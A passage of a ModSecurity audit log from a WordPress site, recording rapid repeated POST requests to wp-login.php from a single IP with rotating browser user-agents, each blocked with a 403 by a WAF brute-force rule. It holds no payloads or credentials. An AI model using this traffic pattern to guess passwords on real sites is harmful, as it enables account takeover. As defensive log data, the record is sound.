Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--276d7046-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--276d7046-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314006939263 5755 (- - -)
Stopwatch2: 1789314006939263 5755; combined=707, p1=324, p2=127, p3=0, p4=0, p5=256, sr=104, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--276d7046-Z--

--d059b06e-A--
[13/Sep/2026:18:40:07.353971 +0300] aqbD1-ut1GUrjaX0wO45lgAAANQ 134.185.87.66 46150 127.0.0.1 7081
--d059b06e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 105
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d059b06e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d059b06e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314007352138 1890 (- - -)
Stopwatch2: 1789314007352138 1890; combined=614, p1=241, p2=77, p3=0, p4=0, p5=295, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d059b06e-Z--

--5f11c456-A--
[13/Sep/2026:18:40:07.764671 +0300] aqbD1-ut1GUrjaX0wO45mAAAANA 134.185.87.66 46172 127.0.0.1 7081
--5f11c456-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5f11c456-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5f11c456-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314007762992 1734 (- - -)
Stopwatch2: 1789314007762992 1734; combined=604, p1=232, p2=124, p3=0, p4=0, p5=248, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5f11c456-Z--

--f26d3b61-A--
[13/Sep/2026:18:40:08.167756 +0300] aqbD2BsbgHO3aGL3jiTwxgAAAAA 134.185.87.66 46188 127.0.0.1 7081
--f26d3b61-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f26d3b61-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f26d3b61-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314008165963 1850 (- - -)
Stopwatch2: 1789314008165963 1850; combined=581, p1=236, p2=83, p3=0, p4=0, p5=262, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f26d3b61-Z--

--9ec16676-A--
[13/Sep/2026:18:40:08.553977 +0300] aqbD2Put1GUrjaX0wO45mwAAANc 134.185.87.66 46220 127.0.0.1 7081
--9ec16676-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9ec16676-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9ec16676-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314008552148 1904 (- - -)
Stopwatch2: 1789314008552148 1904; combined=590, p1=283, p2=73, p3=0, p4=0, p5=234, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9ec16676-Z--

--f37c725d-A--
[13/Sep/2026:18:40:08.954365 +0300] aqbD2Put1GUrjaX0wO45nQAAAMQ 134.185.87.66 46236 127.0.0.1 7081
--f37c725d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--f37c725d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f37c725d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314008952316 2115 (- - -)
Stopwatch2: 1789314008952316 2115; combined=667, p1=362, p2=76, p3=0, p4=0, p5=229, sr=157, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f37c725d-Z--

--d4678d31-A--
[13/Sep/2026:18:40:09.355275 +0300] aqbD2fut1GUrjaX0wO45nwAAAMI 134.185.87.66 46258 127.0.0.1 7081
--d4678d31-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d4678d31-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d4678d31-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314009353447 1893 (- - -)
Stopwatch2: 1789314009353447 1893; combined=658, p1=325, p2=68, p3=0, p4=0, p5=265, sr=165, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d4678d31-Z--

--1321e922-A--
[13/Sep/2026:18:40:09.771020 +0300] aqbD2fut1GUrjaX0wO45oQAAAMM 134.185.87.66 46280 127.0.0.1 7081
--1321e922-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--1321e922-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--1321e922-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314009769152 1924 (- - -)
Stopwatch2: 1789314009769152 1924; combined=615, p1=268, p2=74, p3=0, p4=0, p5=273, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1321e922-Z--

--5ee5fa34-A--
[13/Sep/2026:18:40:10.154967 +0300] aqbD2vut1GUrjaX0wO45owAAAMA 134.185.87.66 46306 127.0.0.1 7081
--5ee5fa34-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5ee5fa34-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5ee5fa34-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314010153228 1794 (- - -)
Stopwatch2: 1789314010153228 1794; combined=574, p1=251, p2=72, p3=0, p4=0, p5=251, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ee5fa34-Z--

--98c8bf5f-A--
[13/Sep/2026:18:40:10.534865 +0300] aqbD2vut1GUrjaX0wO45pQAAAMU 134.185.87.66 46330 127.0.0.1 7081
--98c8bf5f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--98c8bf5f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--98c8bf5f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314010533274 1645 (- - -)
Stopwatch2: 1789314010533274 1645; combined=567, p1=236, p2=64, p3=0, p4=0, p5=267, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--98c8bf5f-Z--

--b3a93160-A--
[13/Sep/2026:18:40:10.928429 +0300] aqbD2vut1GUrjaX0wO45pwAAANc 134.185.87.66 46348 127.0.0.1 7081
--b3a93160-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--b3a93160-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b3a93160-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314010926339 2154 (- - -)
Stopwatch2: 1789314010926339 2154; combined=721, p1=308, p2=90, p3=0, p4=0, p5=323, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b3a93160-Z--

--5f30b310-A--
[13/Sep/2026:18:40:11.315077 +0300] aqbD2-ut1GUrjaX0wO45qQAAAMQ 134.185.87.66 46372 127.0.0.1 7081
--5f30b310-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5f30b310-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5f30b310-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314011313560 1572 (- - -)
Stopwatch2: 1789314011313560 1572; combined=510, p1=230, p2=59, p3=0, p4=0, p5=221, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5f30b310-Z--

--b6a9f136-A--
[13/Sep/2026:18:40:11.709573 +0300] aqbD2-ut1GUrjaX0wO45qgAAAM4 134.185.87.66 46392 127.0.0.1 7081
--b6a9f136-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--b6a9f136-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b6a9f136-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314011708054 1616 (- - -)
Stopwatch2: 1789314011708054 1616; combined=533, p1=273, p2=57, p3=0, p4=0, p5=203, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b6a9f136-Z--

--74d0f42f-A--
[13/Sep/2026:18:40:12.108289 +0300] aqbD3Put1GUrjaX0wO45rAAAAMs 134.185.87.66 46410 127.0.0.1 7081
--74d0f42f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--74d0f42f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--74d0f42f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314012106564 1780 (- - -)
Stopwatch2: 1789314012106564 1780; combined=593, p1=241, p2=84, p3=0, p4=0, p5=268, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--74d0f42f-Z--

--dac3252d-A--
[13/Sep/2026:18:40:12.511219 +0300] aqbD3BsbgHO3aGL3jiTwyAAAAA4 134.185.87.66 46416 127.0.0.1 7081
--dac3252d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--dac3252d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dac3252d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314012509726 1547 (- - -)
Stopwatch2: 1789314012509726 1547; combined=502, p1=225, p2=59, p3=0, p4=0, p5=218, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dac3252d-Z--

--fcfcb840-A--
[13/Sep/2026:18:40:12.890723 +0300] aqbD3Put1GUrjaX0wO45rwAAAMA 134.185.87.66 46436 127.0.0.1 7081
--fcfcb840-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--fcfcb840-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fcfcb840-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314012888533 2266 (- - -)
Stopwatch2: 1789314012888533 2266; combined=838, p1=382, p2=97, p3=0, p4=0, p5=359, sr=138, sw=0, l=0, gc=0
